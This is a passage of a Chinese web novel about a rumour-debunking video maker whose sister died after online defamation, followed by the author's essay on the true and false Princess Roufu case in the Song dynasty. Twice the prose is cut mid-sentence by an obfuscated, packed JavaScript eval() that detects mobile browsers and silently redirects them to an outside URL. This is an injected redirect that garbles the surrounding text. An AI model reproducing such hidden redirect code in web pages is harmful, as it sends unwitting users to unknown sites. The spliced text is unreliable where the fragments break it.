于是她讪笑,本来以为已经刻进灵魂的坚持,原来远没有她想象中的那样深刻。 “当然要做啊。”她回答。 依然是一阵沙沙声。 “你为什么要坚持?” “因为这是正确的事。” “即便没什么人会听?” “嗐!”陈钰把手搁到椅背上,“我辟谣是做了正确的事,我问心无愧。他们不听是他们的事,与我无关。” “但是他们不听是一回事,添油加醋乱传谣就是另外一回事了!我管不到他们的脑子,但好歹能在评论区留点辟谣吧?” 兜帽人笑起来:“然后马上被删评拉黑?” “别这么说,能多叫醒几个是几个吧。” 兜帽人叹息一声:“你这么豁达,怎么还会怕他们呢?” “非要我说的这么清楚吗?” 陈钰站起来,搅动兜帽人身边的白雾:“问心无愧是骗自己的,难受和害怕才是真的!我从来就没有豁达过。” 她讨厌谣言,所以她的视频里宁可不对读者输出观点也不把争议的某一方当作真相;她害怕辱骂,所以永远在视频里强调自己只举证据,希望大家自己辨别真假——除了那些已经被确定的真相。 辟谣是痛苦的,但对真相闭口不谈更加痛苦。这份痛苦会伤害她本身,谣言的蔓延也会刺痛故事的主角。 所以她继续把视频做下去,哪怕会被骂……那些她躲开就好。 但开盒不一样。那是别人怀着恶意强行插入她的生活,那会对她造成更多伤害。 兜帽人抬起头。她的眼睛藏在兜帽里,陈钰却笃定她在看她。 “那……你为什么要开始做这件事?” …… “你知道史书里记载人最多的一句是什么吗?” 陈钰看到姐姐的消息,随手回了一句:“宋宰辅年表,前九朝始建隆庚申,终靖康丙午,凡一百六十七年,居相位者七十二人,位执政者二百三十八人。”① “哈哈,难得你还复制粘贴一句来敷衍我!” 陈钰又在手机前等了一会儿,等到了姐姐的话:“可是我不觉得。” “姐姐觉得是哪一句?” “乃挟诈而尽坑杀之,遗其小者二百四十人归赵,前后斩首虏四十五万人,赵人大震。” “这是哪本书的什么事情?” “是《史记·白起王翦列传》里白起坑杀40万投降赵国士兵那件事。” 陈钰被姐姐逗笑了:“那我不同意!” “记载人最多的肯定不是这一句,应该是‘天下莫不震动’!”② “这是天下,不比45万人多多了?” 陈钰猜姐姐看到这些话后就开始在对面笑,因为她马上发来消息:“是啊,最难得的是记下了天下人的态度,虽然只是多年后一个宽泛的概述,我们也能从里面看到当时真正生活过的那些人。” “王侯枯骨,共史册一页。” 陈钰有个姐姐。 姐姐很厉害,她大学就发了C刊,在文学最顶级期刊《文学遗产》当过论文的第二作者。 她获过好多奖,保研985,害得当时小陈钰天天被家里人耳提面命要考个好大学! 你看看你姐姐! 大四,姐姐早早做完了毕业设计,去全国各地旅游。陈钰天天看着她拍的照片眼馋,幻想自己也能和群星共舞,与万物同眠。 ——直到有一天,陈钰在网上刷到了一个广告。 广告上面是姐姐背着小包拥抱蓝天的身影,粉头发光彩熠熠。 下面则是:妈妈!我考上大专了! 陈钰被这荒诞表演震了一下。 她打电话给姐姐,姐姐说她没给广告授权,语气很严肃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15436471|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是家里准备材料,打算上诉。 不久,陈钰又在网络上刷到了很多帖子和……评价。 “杀马特也有春天!” “小妹妹真好看,多少一晚啊?” “辍学了哥哥我养你啊?” 陈钰把手机摔到桌上,又捡起来和他们对骂。 然而他们说…… “什么研究生?夜店研究生?” “别理她一个把头发染成这样的怎么可能会是研究生,不就是个酒吧调酒的吗?” “哟~同行来了~多少一晚啊~” 陈钰又把手机摔了。 姐姐从飞机场回来了,带着泪痕处理起诉和辟谣,撕掉贴到她家周围的不正经小广告。 她想去逛街散心,每到一处都被吹口哨,大家都在说:就是她! 慢慢的,姐姐不见了。妈妈说表姐一家去外面散心了,陈钰就看着她社交账号上辟谣日记一篇篇地发。 辟谣日记变成了抗抑郁日记。 姐姐死了。 法院开庭了,被告说是姐姐太脆弱,他们又没在网上传什么不好的话。 法院判决了,侮辱罪、诽谤罪并不足以偿还姐姐璀璨的人生。 陈钰收到了姐姐留给所有人的最后一句话。 “我可以忍受,但暂时的忍受是为了终将打破现状;我可以摔倒,但为了逾越,我摔倒也要往前摔。”③ 他们骂你……他们把你骂得很惨…… 可是你没有打破现状,你死了啊! 一双手盖住陈钰的眼睛,泪珠被兜在手里,淹没眼睛。 “走吧。” 陈钰醒了,面前太阳正好,一个头戴红巾的人把她握在手里。 他突然大叫一声,把陈钰扔到泥地里。 居然还是梦啊……一点都不痛。 她听到红头人怪叫着对着身边的人大喊:“石人流眼泪了!怎么办啊救救我!” 她慢慢眨了一下眼睛,又眨了一下:她竟然沦落到只剩一只眼睛的地步。 眼前是红头人和红头人,背后是一片泥泞。远处传来堆土的声音,民工的号子声响彻河两岸。 “苦中苦哟!唉啦嘿—— 风里雨里走码头—— 闲聊几句随风散!嗨嗨!”④ 这她听过,是黄河号子。 元末,黄河,红巾军,独眼石人预言。 ——石人一只眼,挑动黄河天下反! “天下?” …… 次日,陈钰和莫秋声去食堂吃饭。 隔几个座位,有人侃侃而谈。 “除夕你知道吧?不知道?就是一个C站的up主。你知道她干了什么吗? “她说靖康耻的时候那些女人被士兵口口都是假的!靖康……什么……那个靖康什么史来着,宋朝人写的,官方都认定了,她非说清朝人写的!” “还有这种人?我学历史的,给我看看。” “都被骂到不敢说话,评论区都关了!” “这么高的浏览量?一个乱搞野史的都这么行,没理由哥几个不行啊!做账号去!” 莫秋声听得握住拳头,奈何被陈钰拉住。等到那几个人走了后,她长吸一口气:“你为什么不放我过去辟谣!搞得谁不是学历史的一样!” “我本来想等那个开口的人走了再去的……我们和他们不是同路人,去了也没用了。” “他们这是诽谤!是侮辱!” 陈钰眼神空洞:“我要逃进史书了。” “啊?” “秋声,谢谢你。” 世界烂了,好人太难得了。 32.科普番外(2)[番外] 正文开始前,请先听作者讲一个笑话。 某年某月某日,作者打开知网,搜索柔福帝姬,出现一篇论文。 论文认为归宋的才是真帝姬,死在五国城的是假帝姬。 作者发现了新大陆,赶紧点进去看。 噫!难评! 该文全篇引用《靖康稗史》、《南烬纪闻》; 该文认为韦太后假称归国的柔福帝姬是假的是因为韦太后怕自己被金人口口的丑事暴露; 该文还丝毫不顾韦太后归国时“柔福帝姬”已经归国23年了,要真有丑事早就说了! 这知网作品引用《靖康稗史》就算了,毕竟这本这几年才被打假,但引用从南宋到现在持续被打假的《南烬纪闻》是? 学界早说了《南烬纪闻》不可信,奈何有些人在韦太后的经历上偏要相信这本伪书啊! 可恨!可惜! (如果看不懂,可以看完下面真假柔福帝姬整件事再回来看) —我是分割线— 一、真假柔福事件 柔福帝姬是宋徽宗赵佶的女儿,靖康耻后和宋朝宗室一起“北狩”。 宫人张喜儿在“北狩”途中遇到了同样被金军抓走北上,还和柔福帝姬长得很像的尼姑阿李,和阿李唠嗑了许多宫中旧事。 1129年,阿李没入韩世清军中,假称自己是从北边逃回来的柔福帝姬。因为知道一些宫闱密事和朝廷人员,在韩世清处检验通过。 于是韩世清向朝廷报告说找到了柔福帝姬。 1130年,经过了宣召使冯益、内人吴心儿的双重检验,朝廷方认为这位阿李是真柔福帝姬。 赵构封阿李为福国长公主,下嫁宋英宗高太后家族的高世荣。当年高世荣升官贵州刺史,阿李受赵构丰厚赏赐。 不过因为赵构赏赐阿李太多,程俱请求节省赏赐。赵构难得见亲人,激情大撒币,国库都要亏空了…… 1134年,赵构送了阿李一个大宅院。 1141年,真柔福去世于五国城。 1142年,韦太后回朝,带回柔福棺椁,揭发伪装柔福帝姬的阿李。 阿李被杖杀/因为和高太后母家联姻被轻轻放下。 1144年,嫁给宋徽宗亲信医官徐中立之子徐还的真柔福下葬,追封和国长公主。 所以我们要辨析的阿李最后到底是被杖杀还是被放过,驳斥阿李是真柔福的观点并了解其成因。 二、阿李的结局 根据《建炎以来系年要录》(1212年成书)和《中兴小记》(1162-1189年成书),阿李被杖杀。 根据《建炎以来朝野杂记》(1223年成书)和《宋史》(元朝成书),阿李因为是太后姻亲被放过,于1149年去世。 说实话两种都有可能,但参考成书时间和阿李之前的假冒皇亲人员记录,作者更倾向于她被杖杀。 (注意!下方推测仅是作者认为!) 我们来看看那些假冒皇亲的人员们: 崔绍祖,假冒越王赵偲次子,斩于越州; 李勃,假冒徐王赵棣,大理寺判决流放,赵构不干,最终斩首; 易氏,假冒荣德帝姬,杖杀; 赵遇僧,假冒宋钦宗第二子,杖后流放。 从李勃案里,我们能看出赵构对假冒兄弟的人零容忍的态度,从易氏案里也能看出假冒帝姬的处置方式,所以假柔福阿李被杖杀是有可信度的。 如果阿李只因为和太后家结亲就被轻轻放下,就……很微妙。 据《夷坚志乙志》,阿李当福国长公主的时候杀了很多婢女,埋在宅中,非常威风,在临安人口中风评不好。他们还认为因为阿李杀的人太多,所以她的旧宅闹鬼很厉害,大家都不敢住进去。 如果阿李被赦免,那前前前前前朝皇后高滔滔的家族到底是靠怎么样的威风,才能压下阿李欺君、骗赏、擅自入宫、对抗皇帝使者四项罪名和她那稀烂名声,强行保住阿李的? (大理寺为阿李拟定四项罪状:诈假官、脏额、阑入、对捍制使) 三、有人说阿李是真柔福帝姬? 认为阿李是真柔福的人提出,别的假冒皇亲都马上被发现,凭什么阿李就能好好在南宋政治中心过得风生水起23年? 而且阿李通过了韩世清、冯益、吴心儿的三重检验,有没有可能是因为阿李是真的柔福帝姬,才能被这么多人认可? 但如果阿李是真帝姬,为什么韦太后要指出她是假的,真柔福已经在五国城去世了呢? 不要说是因为为了保护韦太后被金人口口的事情不泄露。 韦太后南下,随她回国的还有真柔福的公公徐中立和丈夫徐还,有带着宋徽宗灵柩回国的近侍李鄂等44人,有韦太后贴身侍女杨氏…… 除了这些宋朝旧人以外,金人必定会派军队“护送”,这些人无法一次性被灭口。 韦太后真的怕被“透露”自己的“耻辱”,为什么要舍近求远,放下自己和宋徽宗的身边人,去针对一个23年前就跑出去的后辈呢? 更别说这所谓的“耻辱”都是后人编出来的,难为他们信哦! 综上,韦太后回到南宋后,她的对手(如果有的话)应该是孟太后,一个柔福帝姬对她没有什么影响。揭发一个如日中天的帝姬对她没有什么好处,这件事只能是因为她朴素的正义感。 真柔福已经死在了五国城,她的棺椁被带回南宋。韦太后要让她以公主的身份安息,要让鸠占鹊巢这么多年的人付出代价。 四、南宋中期以来真假柔福叙事的流变 大家注意,南宋中期(准确说是宋理宗时期)以前,没有真假柔福案一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15436472|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,所有书籍记载里都认定归宋的是假帝姬,去世的是真帝姬。 直到宋理宗端平二年的《四朝闻见录》(1235年),首次出现南归的是真柔福这一说法。此书同时认为,韦太后之所以指真为假,是因为害怕柔福拿北狩的事情攻击自己。 为什么这本书和以前的书相比,会出现这么大变化? 因为宋理宗的奇妙登基经历和联蒙灭金的历史复现。 宋宁宗死后,权相史弥远联合杨皇后废太子赵竑为济王,把偏远宗室中的偏远宗室、民间出身被沂王收养的赵昀立为皇帝,是为宋理宗。 不久,济王被谋反,史弥远开开心心把持朝政十几年。 宋理宗时期,南宋联合最北方的蒙古,夹击灭了中间的金国。这一战略让人想到北宋灭亡前,正是宋徽宗联合最北的金国灭了中间的辽国,才让宋金接壤,北宋灭亡。 政局黑暗,国家飘摇,今人不敢骂现任皇帝,就开始骂前任皇亲。 于是韦太后就被赵构牵连,成了一个巨大的靶子。 著名谣言“韦太后向天发誓迎宋钦宗回国,不然自己就瞎掉,不久太后成了盲人”就出自于这一时期。 著名伪书《南渡录》、《南烬纪闻》也成书于这一时期。这本伪书“记录”了韦太后为金人生子。 这段时间里产生的其它谣言——宋徽宗的王婉容、宋钦宗的朱皇后不堪受辱自杀,以及宋钦宗被金国宗室的马踏死,也体现了当时人们的对于国家的忧患意识。 (虽然我知道这是那段时间人们忧患意识的产物,但造谣是不对的,尤其还是黄谣!) 在这个造谣王中王的大背景下,阿李成了真柔福,五国城去世的变成了假柔福。 真实性……大家应该能看出来吧? 五、顺手发现的茂德帝姬辟谣补充 作者看到了一则史料,关于另一个谣言。 癸丑六月二十四日,沂王?、驸马都尉刘文彦,首告太上谋反金国。蔡鞗闻之于莘王植、驸马都尉宋邦光,径令徐中立闻达太上。 ——《北狩行录》 这段话讲的是宋徽宗儿子赵?和刘文彦向金国政府诬告宋徽宗谋反,蔡鞗从宋徽宗儿子赵植和宋邦光处听说了诬告一事,让徐中立告诉宋徽宗。 注意这个蔡鞗,他是蔡京的儿子,娶了茂德帝姬。 网络传说,金人为汴京城的时候问赵宋要公主“抵债”(已在前文被辟谣),因为蔡京是奸臣,所以宋朝方面杀了他全家并把蔡京儿媳茂德帝姬送到城外“抵债”。 然而这个蔡京儿子、驸马蔡鞗“北狩”后还好好活着。根据上面一段话,他还算宋徽宗身边比较亲近的人。 宋徽宗和蔡家并没有产生夺妻送人的巨大矛盾,没有把蔡家杀光,茂德帝姬也没有被蔡家牵连。 谣言不攻自破了。